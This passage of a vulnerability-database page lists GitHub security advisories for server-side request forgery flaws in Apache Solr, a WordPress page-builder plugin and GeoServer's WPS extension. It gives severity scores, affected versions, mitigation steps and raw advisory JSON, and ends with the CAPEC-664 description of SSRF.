      "url": "https://lists.apache.org/thread.html/rae9ccaecce9859f709ed1458545d90a4c07163070dc98b5e9e59057f@%3Cnotifications.ofbiz.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd232d77c57a8ce172359ab098df9512d8b37373ab87c444be911b430@%3Cnotifications.ofbiz.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re9d64bb8e5dfefddcbf255adb4559e13a0df5b818da1b9b51329723f@%3Cnotifications.ofbiz.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210611-0009"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server-Side Request Forgery in Apache Solr"
}

GHSA-5PQP-Q4FM-4P4H

Vulnerability from github – Published: 2024-07-23 06:32 – Updated: 2024-08-01 15:32
VLAI
Details

The Page Builder Gutenberg Blocks WordPress plugin before 3.1.12 does not prevent users from pinging arbitrary hosts via some of its shortcodes, which could allow high privilege users such as contributors to perform SSRF attacks.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-4260"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-23T06:15:09Z",
    "severity": "MODERATE"
  },
  "details": "The Page Builder Gutenberg Blocks  WordPress plugin before 3.1.12 does not prevent users from pinging arbitrary hosts via some of its shortcodes, which could allow high privilege users such as contributors to perform SSRF attacks.",
  "id": "GHSA-5pqp-q4fm-4p4h",
  "modified": "2024-08-01T15:32:06Z",
  "published": "2024-07-23T06:32:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4260"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/69f33e20-8ff4-491c-8f37-a4eadd4ea8cf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5PR3-M5HM-9956

Vulnerability from github – Published: 2023-10-24 19:21 – Updated: 2023-10-27 21:04
VLAI
Summary
WPS Server Side Request Forgery vulnerability
Details

Summary

The OGC Web Processing Service (WPS) specification is designed to process information from any server using GET and POST requests.

This presents the opportunity for Server Side Request Forgery.

Details

This vulnerability requires:

  • The WPS extension to be installed
  • The WPS security setting "Disable complex inputs" to be unselected
  • Security URL checks to be disabled

Impact

This vulnerability presents the opportunity for Server Side Request Forgery.

Mitigation

The ability to reference an external URL location is defined by the WPS standard Execute operation. This operations is defined by an Industry and International standard and cannot be redefined by the GeoServer application in isolation.

To disable complex remote inputs on GeoServer 2.20.5 and GeoServer 2.21.0:

  1. Navigate to Security > WPS Security page
  2. Locate Complex Inputs heading
  3. Select the check box for Disable loading complex inputs from remote references

Resolution

To allow processing of complex inputs safely in GeoServer 2.22.5 and GeoServer 2.23.2:

  1. Navigate to Security > URL Checks
  2. Enable URL Checks are enabled setting
  3. Check the user manual for examples of how to trust specific locations for your external services.

Processing of complex inputs safely is on by default in GeoServer 2.24.0.

References

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.geoserver.extension:gs-wps-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.22.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.geoserver.extension:gs-wps-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.23.0"
            },
            {
              "fixed": "2.23.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-43795"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-24T19:21:02Z",
    "nvd_published_at": "2023-10-25T18:17:32Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe OGC Web Processing Service (WPS) specification is designed to process information from any server using GET and POST requests.\n\nThis presents the opportunity for Server Side Request Forgery.\n\n## Details\n\nThis vulnerability requires:\n\n* The WPS extension to be installed\n* The WPS security setting \"Disable complex inputs\" to be unselected\n* Security URL checks to be disabled\n\n### Impact\n\nThis vulnerability presents the opportunity for Server Side Request Forgery.\n\n### Mitigation\n\nThe ability to reference an external URL location is defined by the WPS standard Execute operation. This operations is defined by an Industry and International standard and cannot be redefined by the GeoServer application in isolation.\n\nTo disable complex remote inputs on GeoServer 2.20.5 and GeoServer 2.21.0:\n\n1.  Navigate to **Security \u003e WPS Security** page\n2. Locate **Complex Inputs** heading\n3. Select the check box for **Disable loading complex inputs from remote references**\n\n### Resolution\n\nTo allow processing of complex inputs safely in GeoServer 2.22.5 and GeoServer 2.23.2:\n\n1. Navigate to **Security \u003e URL Checks**\n2. Enable **URL Checks** are enabled setting\n3. Check the user manual for [examples](https://docs.geoserver.org/latest/en/user/security/urlchecks.html#example-regex-patterns) of how to trust specific locations for your external services.\n\nProcessing of complex inputs safely is on by default in GeoServer 2.24.0.\n\n### References\n\n* [Complex Inputs](https://docs.geoserver.org/stable/en/user/services/wps/security.html#complex-inputs)\n* [URL Checks](https://docs.geoserver.org/latest/en/user/security/urlchecks.html)\n",
  "id": "GHSA-5pr3-m5hm-9956",
  "modified": "2023-10-27T21:04:48Z",
  "published": "2023-10-24T19:21:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/geoserver/geoserver/security/advisories/GHSA-5pr3-m5hm-9956"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43795"
    },
    {
      "type": "WEB",
      "url": "https://docs.geoserver.org/latest/en/user/security/urlchecks.html"
    },
    {
      "type": "WEB",
      "url": "https://docs.geoserver.org/stable/en/user/services/wps/security.html#complex-inputs"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/geoserver/geoserver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WPS Server Side Request Forgery vulnerability"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list